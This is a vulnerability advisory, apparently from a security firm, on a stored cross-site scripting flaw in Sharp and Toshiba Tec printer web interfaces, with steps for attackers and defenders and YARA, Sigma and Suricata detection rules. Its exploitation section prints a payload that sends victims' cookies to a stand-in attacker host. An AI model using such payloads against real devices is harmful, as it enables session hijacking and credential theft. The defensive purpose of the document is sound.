CVE-2024-48870

Executive Summary

CVE-2024-48870 is a stored cross-site scripting (XSS) vulnerability affecting Sharp and Toshiba Tec Multifunction Printers (MFPs). The flaw resides in the improper validation of input data during URI data registration. An administrative user can store crafted input, which, when later accessed by other victim users, executes malicious script in their web browsers. With a CVSS score of 6.2, this vulnerability is considered medium severity but poses a significant risk in enterprise environments where MFPs are shared across many users. No public proof-of-concept (PoC) or patch details are currently available.

CVSS Breakdown & Threat Level

• CVSS Score: 6.2 (Medium)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): High (H) – Requires administrative access to store the payload.
• User Interaction (UI): Required (R) – Victim must access the stored data.
• Scope (S): Changed (C) – Impact may extend beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited data modification.
• Availability (A): Low (L) – Limited service disruption.

Threat Level: Medium. The requirement for administrative privileges reduces the attack surface, but the stored XSS nature can lead to credential theft, session hijacking, or further lateral movement within the network.

Deep Dive & Mechanics

The vulnerability exists in the URI data registration functionality of Sharp and Toshiba Tec MFPs. When an administrative user registers a URI (e.g., for a network folder or web service), the device fails to properly sanitize the input. An attacker with admin rights can inject malicious JavaScript code into the URI field. This payload is stored on the MFP’s web interface. When other users (e.g., regular employees) access the same configuration page or view the stored URI, the malicious script executes in their browser context. This can lead to:

• Session Hijacking: Stealing session cookies of other users.
• Credential Theft: Capturing login credentials via fake forms.
• Internal Reconnaissance: Accessing internal network resources via the victim’s browser.

The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically stored XSS.

Vulnerable vs. Patched Code

No official patch or code comparison is available at this time. The vulnerable code likely lacks output encoding or input validation for the URI field. A patched version would:

• Validate the URI input against a whitelist of allowed characters.
• Encode output when rendering the URI in the web interface (e.g., using HTML entity encoding).
• Implement Content Security Policy (CSP) headers to mitigate XSS.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Administrative access to the MFP web interface.
• A target MFP (e.g., Sharp MX-xxxx or Toshiba e-STUDIO series).

Steps:

1. Log in to the MFP web interface as an admin.
2. Navigate to the URI registration page (e.g., "Network Settings" > "Address Book" > "New Entry").
3. In the URI field, inject a payload such as:

   javascript:alert('XSS')
   

   or a more sophisticated payload:

   "><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the entry.
5. When another user views the address book or the stored URI, the script executes.

Note: Since no public PoC exists, this is a theoretical exploitation path.

Blue Team

Detection:

• Monitor MFP web interface logs for unusual URI entries containing script tags or JavaScript code.
• Use network monitoring to detect outbound connections from MFPs to unknown domains (potential data exfiltration).
• Implement strict access controls to limit administrative privileges on MFPs.

Mitigation:

• Disable the URI registration feature if not required.
• Apply network segmentation to isolate MFPs from critical systems.
• Regularly review and sanitize stored URI entries.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP/HTTPS requests from the MFP to suspicious domains.
• Logs: MFP web interface logs showing URI entries containing <script>, javascript:, or onerror= patterns.
• File: Stored URI entries in the MFP’s address book containing encoded or obfuscated JavaScript.

Detection Engineering

YARA Rule

rule CVE_2024_48870_Stored_XSS_MFP {
    meta:
        description = "Detects stored XSS payloads in MFP URI data"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-48870"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /javascript\s*:/i
        $xss3 = /onerror\s*=/i
        $xss4 = /onload\s*=/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in MFP URI Registration
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts in MFP URI fields
author: Valters IT
date: 2025/04/10
logsource:
    category: web
    product: mfp
detection:
    selection:
        uri|contains:
            - '<script'
            - 'javascript:'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in URI (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-48870 Stored XSS in MFP URI"; flow:to_server; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2024-48870 Stored XSS in MFP URI"; flow:to_server; content:"javascript:"; http_uri; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2024-48870 Stored XSS in MFP URI"; flow:to_server; pcre:"/(<script|javascript:|onerror=|onload=)/i"; sid:1000003; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Administrative Access: Limit the number of users with admin rights on the MFP.
2. Disable URI Registration: If not needed, disable the feature in the MFP settings.
3. Network Segmentation: Place MFPs in a separate VLAN with strict firewall rules.

Long-Term Fix:

• Apply vendor patches when available.
• Implement input validation and output encoding in the MFP firmware.
• Deploy a Web Application Firewall (WAF) in front of the MFP web interface.

Workaround:

• Manually review and sanitize all stored URI entries.
• Use a proxy to inspect and block malicious payloads.

Valters IT
Securing Digital Frontiers